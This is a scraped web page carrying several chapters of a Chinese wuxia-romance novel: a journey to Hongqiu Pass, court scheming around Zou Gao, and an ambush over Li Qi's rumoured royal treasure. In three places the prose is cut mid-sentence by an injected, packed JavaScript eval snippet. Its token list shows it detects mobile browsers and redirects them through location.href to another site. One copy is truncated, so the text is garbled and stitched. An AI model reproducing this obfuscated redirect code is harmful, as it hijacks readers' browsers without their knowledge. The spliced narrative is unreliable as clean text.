她将全睿抄错抄漏的几处陷阱复原,又去给全睿喂了点药,确保他的房间没有留下不该留的痕迹,这才回屋,安心睡觉。 * 第二日,太阳还没完全出来,邹杲和李棋就起床准备离开了。 出乎他们的意料,明明说好了不送,赵孟还是带着他的亲信早起守在城门口,为他们送行。 架势之隆重,一看就有幺蛾子。 不过他们也没管,驾着两辆马车,接上人,径直出了城。 全睿和易梦也和他们一道,更不可思议的是,赵天禄骑马送了全睿很远的路程,还给了他一个沉甸甸的包袱,不出意外的话,里面肯定有不少钱。 赵佳惠不在送行的队伍中,她一个情窦初开的小女儿家,恐怕被邹杲伤透了心。 李棋打心里替她不值得,要不是知道她说了赵佳惠也不会听,甚至还会大惊小怪,她真想凑到赵佳惠耳边,告诉她,邹杲这种男人就是匹野马,没那么好驯服,甚至可能非但无法驯服,反而还会被弄得遍体鳞伤,不值得她如此伤神。 只可惜,她没见到赵佳惠,更没能说出口。 * 他们一路向西,傍晚,到达全睿说的村落,这里位于无尽冰原西边,进入冰原,徒步只需要两三个时辰。 这里种植了很多药材,民风淳朴,他在这边还有熟人,很适合他们。 赵天禄在这里买了一栋宅子,是之前落脚用的,分别前,他送给了全睿,住二十来个人足够了。 李棋和邹杲把他们送到,丢下马车,骑着马连夜就出发了。 邹杲依旧骑着他的千赤,李棋则骑着追着千赤来的那匹黑色野马,这匹马速度虽然比不上千赤,但是耐力非常不错。 唯一不太好的是,它太黏千赤了,放它们喝个水,它都要挨着千赤喝同一口,吃草也非要吃千赤嘴边那口,千赤烦,李棋也烦。 她的马这么黏邹杲的马干嘛,能不能有点出息。 * 此时,已是深夜,他们宿在一条小溪边。 玄翼又凑在千赤身边,挨着它和它抢水喝,千赤不厌其烦,想撞它一下,还被邹杲呵斥了。 玄翼是那匹黑马的名字,李棋刚给它取的。 “玄翼可真是匹招人喜爱的好马,要是它的主人也和它一样就好了。”邹杲意有所指看向李棋,啧啧感叹。 李棋没好气将手里的柴火砸向他,“废话真多,赶紧生火,等会泥巴都没时间吃了。” 邹杲十分帅气地出手,在手里提着兔子的情况下,接住了全部的柴火,他将兔子放下,乖巧抱着一堆柴火蹲下去生火。 李棋则掏出匕首,提起兔子去溪边清洗。 两人通力合作,不多时,两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680507|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只兔子被他们烤得金黄酥脆,撒上他们特意带在身上的调料,简直是香飘十里,万分诱人。 李棋拿着还冒着热气的兔子,一边吹,一边奇怪问:“怪了,跟了这么久了,还不打算动手吗?” “管他们呢,先吃饭。”邹杲笑吟吟说着,扯下一条兔腿递给她。 李棋接过,拿在手里没有吃,“太奇怪了,这批人怕是不是一般人,我肩膀又还没完全好,这次想逃脱,怕是有些难度啊。” “我看不尽然。”他又扯下另一只,从上面扯了一小条投喂小七儿,而后自顾自咬了一口,细嚼慢咽吃着。 看着他们吃得这么香,李棋也馋了,张嘴就咬了一大口,然后,她表情直接扭曲了。 她一口吐掉嘴里的肉,忍了又忍,才没将手里的肉砸到邹杲身上,“呕,你放了多少盐啊!齁死了,你是不是故意的?” “很齁吗?”邹杲无辜摇头,他随即又笑道,“没注意,我知晓瀚海城的盐纯度和鄂阳的不太一样,所以估摸着量,特意多放了些。” “你不知道闲度,难道还没嘴吗?” 李棋冷哼道,“之前都没问题,昨晚摊牌后就故意多放盐,邹杲,你是不是故意报复我啊!” 李棋完全不信他的鬼话,咆哮着就要将手里那半个兔腿塞到他嘴上。 不等她起身怼出去,邹杲淡然笑道,“我尝不出来了,下次都由小棋儿你来放,尤其是盐。” “尝不出来?”李棋愣住了,沉默片刻,才有问,“什么时候的事?” “在灵狐洞的时候吧。”邹杲笑着说,“当时吃鱼就觉得没味,我还以为是因为没有放盐的原因,后来吃了赵孟府上的饭菜,才知道是我吃不出味道了。” 李棋又是一愣,这是她和师父预想达到的毒性,但之前只用了动物来做试验。 通过观察推测,她只大概知晓,触觉在最后,视觉和听觉因为不同动物有所不同,但三者发现时都已经在中后期了。 至于味觉和嗅觉,没法判断。 也因为邹杲一直没有相关反应,李棋还以为用到人身上会有所不同,却万万没想到,邹杲已经丧失了味觉。 邹杲倒是并没有多沮丧,笑呵呵说:“看来,我烤的小棋儿你是无福消受了,你就吃自己烤的吧。” 李棋沉默了一会儿,神情凝重,问他:“你确定还要去鸿秋塞走一遭吗?” 邹杲看向她,理所当然笑问:“再有五六日就到了,为什么不去?鸿秋塞可是去往幽冥沙漠的必经之路。” 他说着,表情变了,故作扭捏,受宠若惊道:“难道说,小棋儿你为了我,竟然可以完全不管不顾他们交给你的任务了吗?” 李棋很认真在说,谁知道,邹杲又这么不正经,李棋也懒得管他。 反正找不到解药,或者时间来不及,死的也不是她。 “小棋儿,为什么不说话,你这是承认了吗?”邹杲还凑上来贱兮兮问。 李棋将啃干净的骨头砸向他,谁知道,还没挨到他,小灵狐跳起来接住了。 小灵狐抱着骨头站在邹杲的肩膀上,十分激动跟李棋摆动身体,它在分享它的喜悦,等着李棋夸它。 李棋却被它气得不轻,玄翼不听她的,现在连小七儿也站在邹杲那边。 偏偏邹杲还笑得那么欠揍。 还好,小七儿还是乖,见李棋不搭理它,它就自己跳到李棋身上,努力跳起来用小小的脑袋蹭着李棋的下巴。 李棋瞬间被它治愈了,赞许摸摸它的脑袋,又喂了它点肉。 小七儿抱着一根肉丝吃得酣畅,李棋撕下一个兔腿啃得也畅快。 邹杲笑着看着她们,心情也极好。 可惜,吃了没几口,不远处传来打斗声。 邹杲看向她,眼神示意,问她要不要去看看。 李棋懒得管他,自顾自吃肉。 听这动静,人多的那一方完全被两个人压着打,不用想也知道,要么是以多欺少结果惹错了人; 要么就是找他们的,但是找错了,而且被找错的那两个倒霉蛋还很厉害。 “好吧,不去就不去,说不定,小棋儿你之后可以轻松点了。” 邹杲似乎想到了什么,笑得很奸诈,李棋想问,但还是忍住了。 她问了邹杲也不见得会告诉她,只要那两人还跟着,之后总会打照面,到时候也就知道他们的身份,知道他们跟着的原因了。 打斗声不过一刻钟就停了,但是也没有人来找他们。 李棋和邹杲也乐得悠闲,靠着马儿躺在火堆边,地为床天为被,也很悠闲。 * 与此同时,远在的鄂阳故人们就没这么悠闲了。 23. 无尽卷·第二十三章 23 眼看七月就过去了,鄂阳的雨季比往年来得都早,已经淅淅沥沥连着下了好几天的雨了。 傍晚,担任典客一职的子瞮正在自己的府邸看一些无关紧要的事务信件,突然,一只信鸽打断了他。 他飞快取下信鸽脚上的信条,只看了一眼,便丢下事务径直回了屋。 他收拾一番,在黑夜里、细雨中如鬼魅般,直奔府邸位于西边的左相韩威的府邸。 韩威的爱女是成武帝的宠妃、二皇子邹珣的生母韩贵妃。 韩威年轻时甚是风流,妻妾无数,内宅更是不得安宁,除了七八个女儿,竟然没有一个儿子,好不容易老来得子,还被邹杲给害死了,连同他那还没出生的嫡长孙也害没了。 他年老体衰,也再无心风月,驱散了府里的莺莺燕燕,仅剩的结发原配,也因为埋怨他没保护好他们的儿子,跟他疏远了。 如今,偌大一个左相府,除了十来个仆人,也就韩威及一个年老、一心向佛的原配夫人了。 雨淅淅沥沥下着,韩威瘫坐在小亭子里,独自饮着酒。 “‘雨打枝头花递减,空宅老翁独饮哀’,左相觉得下官即兴创作这诗句如何?” 韩威没有回应,而是抬眼看向他的花。 他喜欢的兰花,以前一直摆在亭子的四个角,如今却因为家仆的失职,没有收回来,竟生生被雨水敲打,硬生生压断了刚绽放的花枝。 他颤颤巍巍,连忙起身,想去挽救一二。 但是晚了,已经没有完好的了。 “亡羊补牢,为时已晚啊!左相!这杯酒,算是祭奠冤魂了。” 原本还在墙头上的子瞮不知道什么时候坐到了韩威原本坐着饮酒的地方,一边把他到着没来得及喝的酒往地上到,一边语重心长说着话。 ‘左相’二字,他咬得极重。 “典客,本相提醒你一句,夜闯丞相府可不是小罪;皇上更是厌恶官员私交过甚。” 韩威虽然七十多了,官威依旧很大,他是三朝老臣,虽然出了个贪污军粮的儿子,但在朝中的声望还是很高的。 子瞮悠然笑道:“这自然不用左相担心,难道左相忘了,下官还是陛下亲自提拔出来的呢。” 子瞮兀自拿起酒瓶仰头喝了一口,“好酒!左相快来坐下,下官好好陪左相喝几杯。” 韩威不为所动,低头冷眼斜视他。 子瞮也不觉得丢了脸面,拿起韩威用过的酒杯,帮他将酒倒满,推到了韩威那边。 他笑眯眯又说:“另外,下官只是好意来提醒左相一句,常胜王害得您家破人亡,二皇子也有心为您报仇雪恨,派出去刺杀常胜王的人一批又一批。” “只是,二皇子始终是有心无力啊,那么多人,竟然没有一个能伤常胜王分毫。左相您说,常胜王那么聪明,会不会猜到是谁派人杀他,会不会留好证据,等着回皇城跟陛下告状。” “听闻常胜王已经离开瀚海城,往鸿秋塞去了。也不知道他打算游历到何时,什么时候回来,陛下昨日还跟下官说有些想他了,在考虑是否要将常胜王唤回来呢。” 子瞮又道:“左相,您说,陛下若真的将常胜王召回,凭着常胜王在军中的威信,将会得到何种的待遇?官复原职,亦或是……” 终于,韩威抬眼看了子瞮一眼。 韩威冷哼道:“这就不需你一个有名无实的典客忧虑了。” 韩威又道,“本相也提醒你一句,三皇子向来纯善,皇上更是厌恶你与三皇子殿下那些不堪入耳的传闻,若是三皇子知道你还有这样一幅面孔,你恐怕是连唯一的依靠也失去了,更别说你的那些肮脏下贱的小心思了。” 一提到邹瑅,他的笑就维持不住了,但是也就是瞬息的时间,他就调整了过来。 “下官是为陛下做事,还请左相慎言。陛下让下官带的话,下官已经带到了,就不叨扰左相了。” 说罢,子瞮就消失在夜色中、雨幕里。 “混账!也敢和我这样说话!”韩威颤颤巍巍坐下,许久,才把酒瓶往那一堆被雨打坏的兰花盆地一摔,也不知道在骂谁。 他坐着,良久也没有动作,看起来,完全就是一位年老无助的孤寡老人。 韩威也的确越发无助,他兢兢业业走到今天的确有他的过人之处,但是随着他老年渐衰、后继无人,不止生活上孤寡,朝堂上也时常感觉孤独。 这不,第二天的早朝,他便处处被右相李卓压一头。 更别提还有皇后她大哥、当朝太尉欧阳谨处处与他对着干,让他一早上不得安宁。 大嬴在官职分配上,还是遵从祖上的三公九卿、郡县制,只不过多了一个丞相,来削弱三公的实权。 尽管韩威在家被一个小典客阴阳怪气,在朝堂上又处处受挫,他也依旧很沉得住气,没有去找他那有勇无谋、急功近利的外孙邹珣。 最近皇上对于官员私下勾结太过敏感了。 谁知道,他不去,邹珣反倒是来了,还是在退朝后尾随他来的。 “祖父!你借……”邹珣话还没说完,就被韩威骂了。 “谁让你跟上来的?我不是说了,近期不要联系。”韩威大骂道,“你不够聪明就不要自作聪明,听我的就好,我如今就只有你这一个孙子,我还能害你吗?” 邹珣笑容僵硬在脸上,表情难看极了。 他心里怒不可遏。 什么叫他不够聪明? 他不够聪明,那邹瑅就聪明了吗? “赶紧回去,我不喊你,你就好好做你的皇子,让陛下看到你的能力。邹杲那边你也别再搞小动作了,你以为陛下会轻易放弃一条臂膀吗。” “可是,我都联系好了,只要给十万金,暗秋城杀人于无形的雨中花就会亲自出手,了结邹杲的小命,替舅舅报仇雪恨。我的钱财不好动,祖父,你借我一点。” 见韩威没有说话,他憎恨又道:“除了武力,我那里都比邹瑅强,但父皇自小就亲近邹瑅,哪怕他如今长成一个优柔寡断的憨痴,父皇也还是更钟爱他。父皇如今的所作所为,哪一步不是在给邹瑅铺路,凭什么?凭什么!” 他上前抓住韩威的手,“祖父,你信我,只要邹杲一死,不管父皇有什么计划,他都很难继续,邹瑅也失去了最大的底牌,让邹杲死在外面,于我们而言,有益无害啊!祖父!” 许久,韩威痛心疾首道:“你错了,邹瑅最大的底牌不是邹杲,也不是他名义上的生母欧阳羽儿及她身后的家族,是那个女人,是陛下对那个女人的愧疚啊!” 韩威越说越小声,到最后,邹珣只听到“女人”、“陛下”、“愧疚”等词,这些,也足够让他好奇了。 邹珣急切问:“祖父,您在说什么?什么女人?父皇对什么女人愧疚?” 韩威回过神来,坚定摇头,“此 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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邹瑅拉着他疾步走在前面,落下后面很多人,邹瑅才问:“子瞮,你老实和我说,你究竟在帮我父皇做什么事?为什么父皇最近经常传唤你?阿杲每次在城中现身时,都那么狼狈,是不是与你在帮父皇做的事有关?” 子瞮笑意一僵,还没扳开邹瑅握着他的手,便后退几步拉开距离,“下官不懂殿下在说什么。” 邹瑅力气大,子瞮也没有使太大的劲,自然也没有扳开邹瑅的手。 邹瑅握着他的手的力道加重,邹瑅还在逼问他:“你和我说过,你有个很漂亮、很招人喜爱的妹妹是吧?阿杲身边那个女子就是你那个妹妹吧。” 子瞮身体一僵,挤出个难看的笑容,“下官倒是没想到,殿下除了常胜王,竟然还记得下官醉酒时说的胡话。” 他终于还是甩开邹瑅的手,“下官说过了,下官并没有妹妹,那只是下官的期许,下官希望能有一个漂亮可爱的妹妹。” “至于常胜王身边那女子,下官不认识,也不知道她的底细。”子瞮道,“殿下若真的好奇,便去问陛下吧,毕竟陛下才是无所不能、无所不知的天,不是吗?” 他说完,转身决然离去。 他走得潇洒,却在转身的瞬间,清秀的脸上的笑容全无,取之而来的是狠厉的冷酷。 * 邹瑅看着子瞮决然而去的背影,心中难过得不行,短短两个多月,什么都变了。 他在原地站了很久,始终没有勇气去找他父皇质问,他已经问过好几次了,但是每次都问不到什么,反而还会惹父皇生气。 邹瑅无可奈何,见其他官员如滚滚浪潮般追上来,他莫名心慌,一股不知从何处而来的窒息感压得他喘不过气来,他无心再想别的,只出于本能的,大步逃离。 24. 无尽卷·第二十四章 24 云迷雾锁、铄石流金。 “好热。”李棋擦去额头上的热汗,从玄翼背上跳下去,用手挡在额头上方,避开骄阳看向远处,“鸿秋塞这么热,以前真的有人能长期生活在这里吗?” “为了活着,不能适应,也要适应。” 邹杲淡淡说着,也从千赤背上跃到地面。 他手里抚摸着顺着他的胳膊从他的衣袖中爬出来四处观望的小灵狐。 再仰头看了眼天空,他安慰笑道:“黑云压城而来,暴雨估计也快了,热不到哪里去的。” 和李棋的满头大汗截然相反,邹杲非但没留汗,还好似一点也不觉得热,怡然自得踏进黄沙乱石之中,千赤慢悠悠跟在他身后,连带着,李棋牵着的玄翼都追了上去,拉扯着李棋往前走。 李棋知道邹杲不觉得热是因为灵狐泪。 她看向走出去好几步的邹杲的背影,看着邹杲悠闲的模样,李棋还是气得牙痒痒。 她一边跟玄翼较劲,想拉住它,一边朝邹杲喊:“你打算把千赤和玄翼带进去吗?它们进去一没吃的,二没喝的,跟着我们进去遭罪不说,还容易暴露我们。” 邹杲脚步一顿,回头勾唇笑道:“刚刚只顾着帅气,忘记了。” 他笑呵呵说着,低头拍了拍千赤的头,在它耳边叮嘱了它一些话,让它带着玄翼在周围等他们,不要走远,和千赤说完,还雨露均沾摸了摸玄翼的头。 李棋脸上写满了无语。 现在是他们离开瀚海城的第五天的中午,得益于在无尽冰原服下的灵狐泪,邹杲的体内的毒性压制了很多,但他最近也多出一个毛病——爱耍帅,抓住一切机会耍帅。 这次为了耍帅忘记千赤和玄翼只是第三次,所以李棋还不太习惯。 其实前两次也不算太过分。 一次是邹杲在解决内急的时候惊动了一窝蛇,这傻子不但不跑,还站在原地把衣服穿戴整齐,要不是李棋听到动静去得及时,他的小腿该被咬上一大口。 二是昨天傍晚,那时李棋正在溪边处理处理抓来的两条蛇,她让邹杲去捡些柴火,谁知道,他竟然趁李棋不在,拿着九龙神鞭便在准备露宿的营地周围挥舞起来。 结果毋庸置疑,他甩动鞭子打掉枝干的时候很帅,但是,他们被马蜂追着摸黑逃跑的模样也很狼狈。 另外,值得一提的是,这几天有两个不曾露面的好心人一直跟着他们,帮他们处理了很多麻烦,前面拦截的,后面追上来的,就没有一个能越过他们打到李棋和邹杲跟前来的。 那两人现在还没跟上来,也不知道解决掉那七八个练家子没有,可别受伤了,好不容易得来的打手,伤了帮不上忙多可惜。 * 李棋还在想那两人现在如何,千赤带着玄翼在她身旁拱了拱。 虽然知道千赤很有灵性,也很有野性,平常人无法近它的身,但是突然要分别,比起受宠若惊,李棋更多的是不舍。 千赤的能力她在冰原上就见识到了,也不是很担心,她更多的是担心玄翼。 这可是她的第一个坐骑,要是伤了、丢了,她会很伤心的。 “你可别瞎跑,不是喜欢跟着千赤吗,这段时间,你可给我跟紧了,不然,等我回来,有你好受的。” 李棋顺着千赤的毛,揪着玄翼的耳朵叮嘱。 没想到,玄翼还先不耐烦了,它摆了摆头,挣脱了李棋的束缚,和千赤一起甩掉身上的包袱,拐着千赤扬尘而去。 李棋没注意,吃了一嘴灰。 邹杲过去捡起两个包袱,里面装着他们接下来十日的口粮和水。 他拍掉包袱上的灰,笑盈盈说:“小棋儿,你还得多多努力啊!玄翼你都搞不定,怎么可能搞定得了千赤呢?这可不是我不守信用,是你自己不行。” 邹杲说的,是李棋想自己骑千赤,但是一次也没成功的事。 李棋没好气接过他递上来的两个包袱,一个趁其不备就挂在他脖子上,一个自己提着。 她没好气道:“你少得意,总有一天,我会驯服千赤,到时候,千赤要是觉得你这个前主人太窝囊,不愿意跟着你了,你可别找我哭惨。” “自然不会。” 邹杲慢条斯理取下挂在脖子上的包袱提在手里。 他一边整理衣服和头发,一边笑眯眯道:“我倒是期待小棋儿你能把千赤拐走,这样,我就有借口缠着你了。” 李棋被邹杲突然的发骚搞得很无语,她没好气白了邹杲一眼,自顾自从腰包里取出羊皮地图,低头研究起来。 鸿秋塞在大嬴宏大的版图上并不起眼,但是单独拿出来,却一点不小。 鸿秋塞显眼的地标建筑除了当初梁国修建的防御城墙,就只有几座不太高的山峰。 而且,这两者都在中央地带。 这些年,鸿秋塞人烟罕至,黄沙覆盖的范围越来越广,从李棋她们现在站的地方看去,一望无际都是黄沙和乱石,只有西边有一个若隐若现山峰,不远处有一片低矮的山丘乱石。 李棋还在判断他们现在看到的山峰的方位,邹杲凑了上来。 他不止在看地图,还若即若离将下巴杵到了李棋肩膀上。 李棋注意到他的动作,正想躲开,突然,邹杲勾着她的肩膀,让她往左转了一点点,他道,“这样就对了。” 不等李棋问,他又道:“现在的西边和地图上的西边是一致的了。” 李棋低头看了看地图和自己的影子,又抬头看了看太阳,现在果然是一致的。 她侧头看向邹杲,不等她问,邹杲扳过她的头,让她看向前方,推着她一边走,一边又道:“小棋儿你别这么看我,我常年带兵打仗,看地图只是基本功之一。我知道你很震惊,但是别夸我,我会害羞不好意思的。” 李棋从他的语气中听不出一分害羞的意味,倒是听出了浓浓的自傲之意,要是邹杲有尾巴,估计都翘得高高的,还是甩来甩去的那种。 就像现在站在他肩膀上兴奋甩着尾巴的小七儿一样。 “谁要夸你了。”李棋没好气甩开他的手,“你给我招惹了无数麻烦,突然有了点用,我不太习惯而已。” 邹杲噘着嘴,委屈巴巴看着她,“小棋儿你怎么能这么说,我明明有很多用处。” “而且,又不是我不愿意动手。”邹杲笑吟吟凑上来,大言不惭又说,“明明是小棋儿太厉害了,不等我动手,就把所有事都解决了。” 李棋唇角上扬,“行,这次,我给你机会,要是再有你的仇家追上来,我不但不出手,还拦着不让那两个做好事不露面的大侠出手。” 李棋反手重重捶了两下邹杲的胸膛,“战神,之后的脏活累活力气活就都交给你了。” 闻言,邹杲笑嘻嘻上扬的嘴立即就瘪了,他连忙追上去,勾着李棋的肩膀就是一顿恭维讨好。 李棋才不吃他这一套,一边听着他不带重样的赞美,一边抱着双臂大步往前走。 他们都走近那片矮山丘地带了,邹杲那叭叭的嘴也还没停下了。 高远的天空中,太阳与乌云打得焦灼。 一会儿,乌云大获全胜,将原本凶狠的太阳赶走,地下黑压压、阴沉沉的;又一会儿,太阳又冲出密布的乌云,炫耀一般,毫无保留将自己灼热的光芒倾洒在大地上。 二者较着劲,大有不死不休的架势,一阵阴,一阵晴,阴阳交替着。 适时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680509|188740||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太阳再一次落了下方,地面上黑压压的。 李棋和邹杲走在如同迷阵一般的山丘之中,除了邹杲喋喋不休的说话声,就只有两人几乎微不可见的脚步声,四周很静。 不知道是天阴沉下来,人的心理作用的原因还是如何,四面八方似乎有千军万马在埋伏着他们。 突然,李棋和邹杲同时停住了脚步,邹杲引用来夸赞李棋武功高强、心地善良的诗词也只说了一半,便戛然而止。 两人侧头看向彼此,四目相对之间,邹杲不动声色抬起左手,将趴在他肩膀上的小灵狐收到了右边衣袖中。 李棋的手也摸到了腰包中。 铮! 刹那间,她右手摸出腰包中的九龙神鞭,左手抓着邹杲的衣服将他往自己身后扯,鞭子挥甩出去,在邹杲原本站着的地方与一把飞过来的大刀碰撞,发出一声巨响。 听着四周嘈杂的脚步声,李棋暗道不好。 她鞭子顺势一勾,大刀被她拉了过来。 李棋左手接过大刀,扔给身后的邹杲,“拿着,不到迫不得已,不要动用内力。” 邹杲面色沉重接过刀,应了声‘知道’。 也就是这点时间,隐藏在沙丘后、石头下、沙漠中的人都现了身。 乌泱泱的,目测不低于一百人,各种打扮都有,张扬富贵的,低调破烂的,他们手中的武器也不一,各式各样的,队伍中还有不少女人。 这样的队伍,在追杀过他们的人群中,是头一遭。 “来势汹汹。”李棋暗道不好的同时,不忘挖苦戏谑邹杲,“看来,你的仇家们发狠了。” “这架势,没有个几十万黄金,搞不出来吧,这么多江湖人士同时出动。王爷,你说我是不是也该倒戈啊!” “小棋儿你估计没机会了。”邹杲挑眉笑道,“他们似乎不是冲我来的。” 李棋一愣,转头看去,围上来的人中,只见一个穿着华贵的年轻男子在七八个高大的男人的簇拥下,站了出来。 “各位,先别动武嘛,当下皇帝都倡导文治天下,我们也先礼貌一些。” 男人身材高大,长相却妖艳,明显的男生女相,一身骚躁的粉紫色的衣袍,在黄灿灿的沙漠中显眼异常。 他的眼角长而上翘,左边眼尾的那颗痣,随着他说话而上下移动,有几分说不出的妖媚,无形中摄人心魄。 和邹杲截然不同,但这一款,李棋也有点喜欢。 他看向李棋,“敢问姑娘可是姓李?祖籍可是梁国皇城怿都?” 他柔情似水、温文尔雅,若不是李棋见惯了邹杲的脸,听惯了邹杲轻浮戏谑的声音,她估计还真得陷进去。 “你是何人?与你何干?” 人群中当即有人出声奚落男人,闹哄哄的,男人只笑意盈盈示意大家停下,便看向李棋笑吟吟道:“在下姓虞,字崇宁,与姑娘这是初次见面。” “不过,姑娘若是姓李,还出生怿都、芳龄十九,那我们之后见面的机会就多了。” 虞崇宁话音未落,人群中终于有人沉不住气了。 “哪来的毛头小子,裹上一层好皮还真把自己当人物了是吧。” “就是,明明大家都是为财而来,装什么谦谦君子。” 人群中更加吵闹,李棋听清大部分,却听得越发莫名其妙。 邹杲亦是,两人视线交流,还没得出个结论,突然直白的一句话让李棋和邹杲皆是惊愕万分。 “你是梁国的公主李蕲是吧?听说你的皇帝老爹在死前给你藏了无穷无尽的珍宝,不想吃苦头,就把藏宝图交出来吧。” “哈哈哈,就是,兄弟们大老远而来,公主殿下总不能让我们空手而归不是。” 25. 无尽卷·第二十五章 25 轻描淡写的几句话,李棋和邹杲皆是错愕不已。 李棋目光如炬盯着说话那几人,邹杲也看向他们,他不怒自威,“你们的消息似乎很灵通?” 人群中还真有人没听出邹杲的潜台词的,还得意点头回应,“这是自然。” “那想必你们也知道本王是谁了。” 众人又点了点头,人群中,更是有人嘁声道:“不就是那个被断了脊梁骨的异姓王吗,有什么了不起的!” “呵!”邹杲冷笑一声,拔高声音,“断了脊梁骨又如何,只要皇上一日不夺我封号,我便始终是皇上之下、世人之上尊贵的王。伤我、辱我,便是伤皇上、辱皇上。” 邹杲厉声呵斥,众人还真被他唬到了,人群中一时寂静无声。 “不管你们是谁,从何处听到这些空穴来风的传闻,现在马上离开,还来得及。区区草寇,也敢拦本王的路、污蔑本王的人,是嫌活得太舒服了吗?” 众人被吓得又是一愣,好几个人虎躯都是一震,邹杲话都说完了,还直哆嗦,低着头不敢直视他。 当然,也有好几个女人毫不掩饰看着邹杲,那架势,像是想把邹杲就地生吞了。 “还不给本王让开!” 邹杲冷声呵斥罢,拉着李棋径直向前走,前面都是些五大三粗的男人还有虞崇宁和他的手下,见邹杲走过去,全然没有了之前的气势,傻愣愣向两边散开,让出一条差不多半丈宽的通道。 邹杲神色如常,呼吸均匀,一手提着刀,一手拉着李棋,一步一个脚印缓缓走过去。 眼看两人走出乌泱泱的人群,突然,一个女人喊道:“你们怕屁啊!他如今就是个没有实权的闲散王爷,没听说他被皇帝灌了毒药吗?说不定他现在已经是强弩之末了。就算不是,你们又怕什么,富贵险中求,那可是最富有的梁国留下来的稀世宝藏啊!” “对啊,那可是最富裕的梁国百年间积累下来的宝藏,只要我们能找到,祖下百代,估计都吃喝不愁了。” “不止吃喝不愁,有了那么一大笔钱财,就算是再搞出个逍遥门也不在话下。届时,谁还敢看不起我们这些草寇,就是皇帝也要高看我们几分。” 几句话,众人又心动了,再一次将邹杲和李棋围了起来。他们脸上写满了贪婪,目光如财狼。 太阳再一次被乌云覆盖,遮得严严实实,一丝光线也透不过来。 本以为只是暂时的,然而,之后直到天黑,太阳也没有再出来过。 “很好。”邹杲气笑了,“既然你们铁了心要对大嬴皇室宣战,如此,别怪本王无情。” 众人又是一愣,但是很快又被贪婪所迷惑,警惕看着他们,随时准备动手。 “兄弟们,一起上,只要抓到李蕲,咱们就有钱了!” 话音未落,众人叫嚣着围了上来。 许久未说话的李棋也终于说话了,她对邹杲小声道:“你此刻不可动用内力。他们是冲我来,碍于你的身份,应该不敢动你,你自己机灵点,看到机会就跑,我脱身后会来找你。” 她说罢,就准备冲上去,邹杲拉住了她的胳膊,“直接用蛊虫不行吗?” 李棋笑了笑,没有说话,挣脱他的手,与冲上来的人打了起来。 看得出,这些人都是练家子,不少都是有童子功在身上的,一招一式,和之前那些来追杀他的那些很是不同。 几个还好,这么多,在实战经验不足的情况下,李棋再厉害也不是对手。 江湖人士一般人脉都很广,又都重情义,今天杀了这个,明天那个可能就来寻仇了,之后,李棋怕是不会再得安宁。 邹杲被挤得和李棋分开来,这些人虽嘴上说得无所畏惧,实际却都不敢动他,李棋也有意将战场拉开,就算他站在原处一动不动,也没有人敢来伤他。 看着与若干贪婪的豺狼们厮杀的李棋,邹杲心中纠结得要死。 放出前梁宝藏与李棋公主身份这一步棋,是谁走的? 陛下?暗处的人?还是李棋主导? 这会是李棋给他使的苦肉计吗? 邹杲自然下垂的双手紧握,手上青筋直冒,就这么站在原地看着。 * 虽努力让自己保持冷静,但缠斗激烈的人群中心,李棋双眼猩红,这些贪婪的人,在她眼中都变了个模样。 严肃但是会笨拙地帮她补衣服的师父,被大火吞噬的父皇,总是陪她玩乐闯祸的师兄,蔼耐心教她用蛊的鬼旸爷爷,还有温柔漂亮对她呵护备至的娘亲。 关于她的身世,只有这些人明确知道。 山花子、临江仙、卜算子三位爷爷以及酒鬼赵伯伯他们或许猜到了,但是并没有询问过。 而且,他们都过惯了闲云野鹤的日子,也是真心喜欢她,应该不会对她不利,他们若想要什么所谓宝藏,更是没有理由暴露李棋的身世。 而且,所谓梁国宝藏,她自己都不知道。 是谁,她最亲近的人里,究竟是谁暴露了她的身世,又是谁编撰所谓宝藏给她招来能要她命的麻烦。 李棋将毕生所学都使了出来。 她的体力在透支,她的理智也在崩溃。 * 看着李棋不要命的打法,邹杲终于站不住了,他抬起脚,正准备迈出去,突然,两个白衣翩翩的少年骑着骏马,疾驰而来,扬起无数的沙尘。 赫然是在红楼遇到的那两个,难怪他们来得这么慢,原来是去换了身衣服。 “这么多人围殴一个女子,你们也好意思!”穿着白蓝色锦衣的男人不屑讽刺着,手中的铁扇被他甩开扔了出去,替李棋击退了想从后方偷袭她的两个人。 他踩着马鞍,借力跃到半空,接过飞回来的扇子,与白粉色衣袍的少年一起加入战斗。 他们一左一右,背对李棋站在她后方,三人呈三足鼎立之势。 两个少年看着和李棋年纪相仿,甚至白粉衣少年看着比李棋还要稚嫩不少。 但是,两人的武功却一点不含糊。 三人明明是第一次相遇,却合作得天衣无缝,一时竟也无人能近他们的身。 见状,邹杲立刻冲进刀光剑影中,废了九牛二虎之力,终于用蛮力和刀法技巧杀出一条路来,挤到最中间李棋身边。 他一边注意防备,一边跟李棋说道:“小棋儿,快下暴雨了!我们得先离开。” 李棋还处在被亲近的人出卖的崩溃绝望中,一时也没有听到邹杲的话,完全‘杀’红了眼。 虽然没有真的杀人,但也属于是只要她有余力,路过的狗都要被她扇两巴掌的那种。 